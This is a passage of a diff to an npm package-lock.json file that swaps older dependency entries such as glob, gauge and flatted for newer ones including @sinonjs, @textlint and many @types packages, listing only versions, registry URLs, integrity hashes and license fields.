"sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "node_modules/@sinonjs/commons/node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", "dev": true, - "dependencies": { - "flatted": "^3.1.0", - "rimraf": "^3.0.2" - }, + "license": "MIT", "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">=4" } }, - "node_modules/flatted": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.4.tgz", - "integrity": "sha512-8/sOawo8tJ4QOBX8YlQBMxL8+RLZfxMQOif9o0KUKTNTjMYElWPE0r/m5VNFxTRd0NSw8qSy8dajrwX4RYI1Hw==", - "dev": true + "node_modules/@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^3.0.1" + } }, - "node_modules/fs-constants": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", - "dev": true + "node_modules/@sinonjs/samsam": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-8.0.2.tgz", + "integrity": "sha512-v46t/fwnhejRSFTGqbpn9u+LQ9xJDse10gNnPgAcxgdoCDMXj/G2asWAC/8Qs+BAZDicX+MNZouXT1A7c83kVw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^3.0.1", + "lodash.get": "^4.4.2", + "type-detect": "^4.1.0" + } }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "node_modules/@so-ric/colorspace": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@so-ric/colorspace/-/colorspace-1.1.6.tgz", + "integrity": "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==", + "dev": true, + "dependencies": { + "color": "^5.0.2", + "text-hex": "1.0.x" + } + }, + "node_modules/@textlint/ast-node-types": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-15.2.2.tgz", + "integrity": "sha512-9ByYNzWV8tpz6BFaRzeRzIov8dkbSZu9q7IWqEIfmRuLWb2qbI/5gTvKcoWT1HYs4XM7IZ8TKSXcuPvMb6eorA==", "dev": true }, - "node_modules/fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "node_modules/@textlint/linter-formatter": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-15.2.2.tgz", + "integrity": "sha512-oMVaMJ3exFvXhCj3AqmCbLaeYrTNLqaJnLJMIlmnRM3/kZdxvku4OYdaDzgtlI194cVxamOY5AbHBBVnY79kEg==", "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + "dependencies": { + "@azu/format-text": "^1.0.2", + "@azu/style-format": "^1.0.1", + "@textlint/module-interop": "15.2.2", + "@textlint/resolver": "15.2.2", + "@textlint/types": "15.2.2", + "chalk": "^4.1.2", + "debug": "^4.4.1", + "js-yaml": "^3.14.1", + "lodash": "^4.17.21", + "pluralize": "^2.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "table": "^6.9.0", + "text-table": "^0.2.0" } }, - "node_modules/fstream": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", - "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", + "node_modules/@textlint/linter-formatter/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", "dev": true, "dependencies": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - }, - "engines": { - "node": ">=0.6" + "sprintf-js": "~1.0.2" } }, - "node_modules/fstream/node_modules/rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "node_modules/@textlint/linter-formatter/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", "dev": true, "dependencies": { - "glob": "^7.1.3" + "argparse": "^1.0.7", + "esprima": "^4.0.0" }, "bin": { - "rimraf": "bin.js" + "js-yaml": "bin/js-yaml.js" } }, - "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "node_modules/@textlint/linter-formatter/node_modules/pluralize": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-2.0.0.tgz", + "integrity": "sha512-TqNZzQCD4S42De9IfnnBvILN7HAW7riLqsCyp8lgjXeysyPlX5HhqKAcJHHHb9XskE4/a+7VGC9zzx8Ls0jOAw==", "dev": true }, - "node_modules/functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "node_modules/@textlint/module-interop": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-15.2.2.tgz", + "integrity": "sha512-2rmNcWrcqhuR84Iio1WRzlc4tEoOMHd6T7urjtKNNefpTt1owrTJ9WuOe60yD3FrTW0J/R0ux5wxUbP/eaeFOA==", "dev": true }, - "node_modules/gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "node_modules/@textlint/resolver": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-15.2.2.tgz", + "integrity": "sha512-4hGWjmHt0y+5NAkoYZ8FvEkj8Mez9TqfbTm3BPjoV32cIfEixl2poTOgapn1rfm73905GSO3P1jiWjmgvii13Q==", + "dev": true + }, + "node_modules/@textlint/types": { + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/types/-/types-15.2.2.tgz", + "integrity": "sha512-X2BHGAR3yXJsCAjwYEDBIk9qUDWcH4pW61ISfmtejau+tVqKtnbbvEZnMTb6mWgKU1BvTmftd5DmB1XVDUtY3g==", "dev": true, "dependencies": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "@textlint/ast-node-types": "15.2.2" } }, - "node_modules/gauge/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", "dev": true, + "license": "MIT", "engines": { - "node": ">=0.10.0" + "node": ">= 10" } }, - "node_modules/gauge/node_modules/is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "node_modules/@trivago/prettier-plugin-sort-imports": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@trivago/prettier-plugin-sort-imports/-/prettier-plugin-sort-imports-6.0.0.tgz", + "integrity": "sha512-Xarx55ow0R8oC7ViL5fPmDsg1EBa1dVhyZFVbFXNtPPJyW2w9bJADIla8YFSaNG9N06XfcklA9O9vmw4noNxkQ==", "dev": true, "dependencies": { - "number-is-nan": "^1.0.0" + "@babel/generator": "^7.28.0", + "@babel/parser": "^7.28.0", + "@babel/traverse": "^7.28.0", + "@babel/types": "^7.28.0", + "javascript-natural-sort": "^0.7.1", + "lodash-es": "^4.17.21", + "minimatch": "^9.0.0", + "parse-imports-exports": "^0.2.4" }, "engines": { - "node": ">=0.10.0" + "node": ">= 20" + }, + "peerDependencies": { + "@vue/compiler-sfc": "3.x", + "prettier": "2.x - 3.x", + "prettier-plugin-ember-template-tag": ">= 2.0.0", + "prettier-plugin-svelte": "3.x", + "svelte": "4.x || 5.x" + }, + "peerDependenciesMeta": { + "@vue/compiler-sfc": { + "optional": true + }, + "prettier-plugin-ember-template-tag": { + "optional": true + }, + "prettier-plugin-svelte": { + "optional": true + }, + "svelte": { + "optional": true + } } }, - "node_modules/gauge/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "node_modules/@trivago/prettier-plugin-sort-imports/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" + "balanced-match": "^1.0.0" } }, - "node_modules/gauge/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "node_modules/@trivago/prettier-plugin-sort-imports/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", "dev": true, "dependencies": { - "ansi-regex": "^2.0.0" + "brace-expansion": "^2.0.1" }, "engines": { - "node": ">=0.10.0" + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "node_modules/@types/archiver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-7.0.0.tgz", + "integrity": "sha512-/3vwGwx9n+mCQdYZ2IKGGHEFL30I96UgBlk8EtRDDFQ9uxM1l4O5Ci6r00EMAkiDaTqD9DQ6nVrWRICnBPtzzg==", "dev": true, - "engines": { - "node": "6.* || 8.* || >= 10.*" + "dependencies": { + "@types/readdir-glob": "*" } }, - "node_modules/get-intrinsic": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", - "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "node_modules/@types/aws-lambda": { + "version": "8.10.149", + "resolved": "https://registry.npmjs.org/@types/aws-lambda/-/aws-lambda-8.10.149.tgz", + "integrity": "sha512-NXSZIhfJjnXqJgtS7IwutqIF/SOy1Wz5Px4gUY1RWITp3AYTyuJS4xaXr/bIJY1v15XMzrJ5soGnPM+7uigZjA==", "dev": true, - "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.1" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } + "license": "MIT" }, - "node_modules/github-from-package": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", - "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=", - "dev": true + "node_modules/@types/braces": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/braces/-/braces-3.0.5.tgz", + "integrity": "sha512-SQFof9H+LXeWNz8wDe7oN5zu7ket0qwMu5vZubW4GCJ8Kkeh6nBWUz87+KTz/G3Kqsrp0j/W253XJb3KMEeg3w==", + "dev": true, + "license": "MIT" }, - "node_modules/glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "node_modules/@types/btoa-lite": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@types/btoa-lite/-/btoa-lite-1.0.2.tgz", + "integrity": "sha512-ZYbcE2x7yrvNFJiU7xJGrpF/ihpkM7zKgw8bha3LNJSesvTtUNxbpzaT7WXBIryf6jovisrxTBvymxMeLLj1Mg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/chai": { + "version": "4.3.19", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.19.tgz", + "integrity": "sha512-2hHHvQBVE2FiSK4eN0Br6snX9MtolHaTo/batnLjlGRhoQzlCL61iVpxoqO7SfFyOw+P/pwv+0zNHzKoGWz9Cw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/chai-as-promised": { + "version": "7.1.8", + "resolved": "https://registry.npmjs.org/@types/chai-as-promised/-/chai-as-promised-7.1.8.tgz", + "integrity": "sha512-ThlRVIJhr69FLlh6IctTXFkmhtP3NpMZ2QGq69StYLyKZFp/HOp1VdKZj7RvfNWYYcJ1xlbLGLLWj1UvP5u/Gw==", "dev": true, + "license": "MIT", "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" + "@types/chai": "*" } }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "node_modules/@types/chai-subset": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/@types/chai-subset/-/chai-subset-1.3.6.tgz", + "integrity": "sha512-m8lERkkQj+uek18hXOZuec3W/fCRTrU4hrnXjH3qhHy96ytuPaPiWGgu7sJb7tZxZonO75vYAjCvpe/e4VUwRw==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/chai": "<5.2.0" + } + }, + "node_modules/@types/decompress": { + "version": "4.2.7", + "resolved": "https://registry.npmjs.org/@types/decompress/-/decompress-4.2.7.tgz", + "integrity": "sha512-9z+8yjKr5Wn73Pt17/ldnmQToaFHZxK0N1GHysuk/JIPT8RIdQeoInM01wWPgypRcvb6VH1drjuFpQ4zmY437g==", "dev": true, + "license": "MIT", "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" + "@types/node": "*" } }, - "node_modules/globals": { - "version": "13.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.12.0.tgz", - "integrity": "sha512-uS8X6lSKN2JumVoXrbUz+uG4BYG+eiawqm3qFcT7ammfbUHeCBoJMlHcec/S3krSk73/AE/f0szYFmgAA3kYZg==", + "node_modules/@types/diff": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@types/diff/-/diff-8.0.0.tgz", + "integrity": "sha512-o7jqJM04gfaYrdCecCVMbZhNdG6T1MHg/oQoRFdERLV+4d+V7FijhiEAbFu0Usww84Yijk9yH58U4Jk4HbtzZw==", + "deprecated": "This is a stub types definition. diff provides its own type definitions, so you do not need this installed.", "dev": true, "dependencies": { - "type-fest": "^0.20.2" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "diff": "*" } }, - "node_modules/globby": { - "version": "11.0.4", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.4.tgz", - "integrity": "sha512-9O4MVG9ioZJ08ffbcyVYyLOJLk5JQ688pJ4eMGLpdWLHq/Wr1D9BlriLQyL0E+jbkuePVZXYFj47QM/v093wHg==", + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/jsonwebtoken": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/@types/jsonwebtoken/-/jsonwebtoken-9.0.9.tgz", + "integrity": "sha512-uoe+GxEuHbvy12OUQct2X9JenKM3qAscquYymuQN4fMWG9DBQtykrQEFcAbVACF7qaLw9BePSodUL0kquqBJpQ==", "dev": true, + "license": "MIT", "dependencies": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.1.1", - "ignore": "^5.1.4", - "merge2": "^1.3.0", - "slash": "^3.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "@types/ms": "*", + "@types/node": "*" } }, - "node_modules/graceful-fs": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", - "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", + "node_modules/@types/lcov-parse": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@types/lcov-parse/-/lcov-parse-1.0.2.tgz", + "integrity": "sha512-tdoxiYm04XdDEdR7UMwkWj78UAVo9U2IOcxI6tmX2/s9TK/ue/9T8gbpS/07yeWyVkVO0UumFQ5EUIBQbVejzQ==", "dev": true }, - "node_modules/growl": { - "version": "1.10.5", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", - "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "node_modules/@types/lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-w/P33JFeySuhN6JLkysYUK2gEmy9kHHFN7E8ro0tkfmlDOgxBDzWEZ/J8cWA+fHqFevpswDTFZnDx+R9lbL6xw==", "dev": true, - "engines": { - "node": ">=4.x" - } + "license": "MIT" }, - "node_modules/has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "node_modules/@types/lodash.debounce": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/lodash.debounce/-/lodash.debounce-4.0.9.tgz", + "integrity": "sha512-Ma5JcgTREwpLRwMM+XwBR7DaWe96nC38uCBDFKZWbNKD+osjVzdpnUSwBcqCptrp16sSOLBAUb50Car5I0TCsQ==", "dev": true, "dependencies": { - "function-bind": "^1.1.1" - }, - "engines": { - "node": ">= 0.4.0" + "@types/lodash": "*" } }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/@types/lodash.throttle": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@types/lodash.throttle/-/lodash.throttle-4.1.9.tgz", + "integrity": "sha512-PCPVfpfueguWZQB7pJQK890F2scYKoDUL3iM522AptHWn7d5NQmeS/LTEHIcLr5PaTzl3dK2Z0xSUHHTHwaL5g==", "dev": true, - "engines": { - "node": ">=8" + "license": "MIT", + "dependencies": { + "@types/lodash": "*" } }, - "node_modules/has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "node_modules/@types/micromatch": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.10.tgz", + "integrity": "sha512-5jOhFDElqr4DKTrTEbnW8DZ4Hz5LRUEmyrGpCMrD/NphYv3nUnaF08xmSLx1rGGnyEs/kFnhiw6dCgcDqMr5PQ==", "dev": true, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" + "dependencies": { + "@types/braces": "*" } }, - "node_modules/has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true + "node_modules/@types/mocha": { + "version": "10.0.10", + "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.10.tgz", + "integrity": "sha512-xPyYSz1cMPnJQhl0CLMH68j3gprKZaTjG3s5Vi+fDgx+uhG9NOXwbVt52eFS8ECyXhyKcjDLCBEqBExKuiZb7Q==", + "dev": true, + "license": "MIT" }, - "node_modules/he": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", - "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "node_modules/@types/mock-fs": { + "version": "4.13.4", + "resolved": "https://registry.npmjs.org/@types/mock-fs/-/mock-fs-4.13.4.tgz", + "integrity": "sha512-mXmM0o6lULPI8z3XNnQCpL0BGxPwx1Ul1wXYEPBGl4efShyxW2Rln0JOPEWGyZaYZMM6OVXM/15zUuFMY52ljg==", "dev": true, - "bin": { - "he": "bin/he" + "license": "MIT", + "dependencies": { + "@types/node": "*" } }, - "node_modules/hosted-git-info": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", - "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "20.19.25", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.25.tgz", + "integrity": "sha512-ZsJzA5thDQMSQO788d7IocwwQbI8B5OPzmqNvpf3NY/+MHDAS759Wo0gd2WQeXYt5AAAQjzcrTVC6SKCuYgoCQ==", "dev": true, "dependencies": { - "lru-cache": "^6.0.0" - }, - "engines": { - "node": ">=10" + "undici-types": "~6.21.0" } }, - "node_modules/htmlparser2": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", - "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "node_modules/@types/normalize-package-data": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", + "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", + "dev": true + }, + "node_modules/@types/plist": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/plist/-/plist-3.0.5.tgz", + "integrity": "sha512-E6OCaRmAe4WDmWNsL/9RMqdkkzDCY1etutkflWk4c+AcjDU07Pcz1fQwTX0TQz+Pxqn9i4L1TU3UFpjnrcDgxA==", "dev": true, - "funding": [ - "https://github.com/fb55/htmlparser2?sponsor=1", - { - "type": "github", - "url": "https://github.com/sponsors/fb55" - } - ], "dependencies": { - "domelementtype": "^2.0.1", - "domhandler": "^4.0.0", - "domutils": "^2.5.2", - "entities": "^2.0.0" + "@types/node": "*", + "xmlbuilder": ">=11.0.1" } }, - "node_modules/http-proxy-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", - "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "node_modules/@types/readdir-glob": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@types/readdir-glob/-/readdir-glob-1.1.5.tgz", + "integrity": "sha512-raiuEPUYqXu+nvtY2Pe8s8FEmZ3x5yAH4VkLdihcPdalvsHltomrRC9BzuStrJ9yk06470hS0Crw0f1pXqD+Hg==", "dev": true, "dependencies": { - "@tootallnate/once": "1", - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" + "@types/node": "*" } }, - "node_modules/https-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz", - "integrity": "sha512-EkYm5BcKUGiduxzSt3Eppko+PiNWNEpa4ySk9vTC6wDsQJW9rHSa+UhGNJoRYp7bz6Ht1eaRIa6QaJqO5rCFbA==", + "node_modules/@types/sarif": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.7.tgz", + "integrity": "sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==", + "dev": true + }, + "node_modules/@types/semver": { + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==", + "dev": true + }, + "node_modules/@types/sinon": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/sinon/-/sinon-21.0.0.tgz", + "integrity": 